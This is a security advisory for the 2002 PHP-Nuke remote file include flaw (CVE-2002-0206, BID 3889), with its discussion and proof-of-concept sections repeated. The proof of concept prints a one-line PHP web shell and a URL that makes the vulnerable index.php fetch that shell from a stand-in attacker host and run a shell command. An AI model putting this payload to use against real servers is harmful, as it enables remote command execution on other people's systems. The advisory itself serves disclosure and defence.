PHPNuke Remote Arbitrary File Include Vulnerability
BID:3889
Info
PHPNuke Remote Arbitrary File Include Vulnerability
| Bugtraq ID: | 3889 |
| Class: | Input Validation Error |
| CVE: |
CVE-2002-0206 |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 16 2002 12:00AM |
| Updated: | Jul 11 2009 09:56AM |
| Credit: | This vulnerability was submitted to BugTraq on January 16th, 2002 by "Handle Nopman" <[email protected]>. |
| Vulnerable: |
Francisco Burzi PHP-Nuke 5.3.1 Francisco Burzi PHP-Nuke 5.2 a Francisco Burzi PHP-Nuke 5.2 Francisco Burzi PHP-Nuke 5.1 Francisco Burzi PHP-Nuke 5.0.1 Francisco Burzi PHP-Nuke 5.0 Francisco Burzi PHP-Nuke 4.4.1 a Francisco Burzi PHP-Nuke 4.4 Francisco Burzi PHP-Nuke 4.3 Francisco Burzi PHP-Nuke 4.0 Francisco Burzi PHP-Nuke 3.0 Francisco Burzi PHP-Nuke 2.5 Francisco Burzi PHP-Nuke 1.0 |
| Not Vulnerable: | |
Discussion
PHPNuke Remote Arbitrary File Include Vulnerability
PHPNuke is a website creation/maintenance tool.
The 'index.php' script has a feature which allows users to include files. Due to insufficent input validation, it is possible to include files located on a remote server. Arbitrary code in the attacker's included file may be executed.
As one consequence of this issue, a remote attacker can cause commands to be executed on the shell of the host running vulnerable versions of PHPNuke. Commands will be executed with the privileges of the webserver process and may result in the attacker gaining local access.
It is not known whether this vulnerability affects PostNuke, though the possibility exists.
PHPNuke is a website creation/maintenance tool.
The 'index.php' script has a feature which allows users to include files. Due to insufficent input validation, it is possible to include files located on a remote server. Arbitrary code in the attacker's included file may be executed.
As one consequence of this issue, a remote attacker can cause commands to be executed on the shell of the host running vulnerable versions of PHPNuke. Commands will be executed with the privileges of the webserver process and may result in the attacker gaining local access.
It is not known whether this vulnerability affects PostNuke, though the possibility exists.
Exploit / POC
PHPNuke Remote Arbitrary File Include Vulnerability
Create the following file on a remote server:
<?php
system($cmd);
?>
The following URL will include the malicious file and allow the attacker to execute the "la -la" command on the shell of the host running PHPNuke:
http://insecure-server/index.php?file=http://where.the.bad.php.file.is/evil.php&cmd=ls%20-al
Create the following file on a remote server:
<?php
system($cmd);
?>
The following URL will include the malicious file and allow the attacker to execute the "la -la" command on the shell of the host running PHPNuke:
http://insecure-server/index.php?file=http://where.the.bad.php.file.is/evil.php&cmd=ls%20-al
References
PHPNuke Remote Arbitrary File Include Vulnerability
References:
References: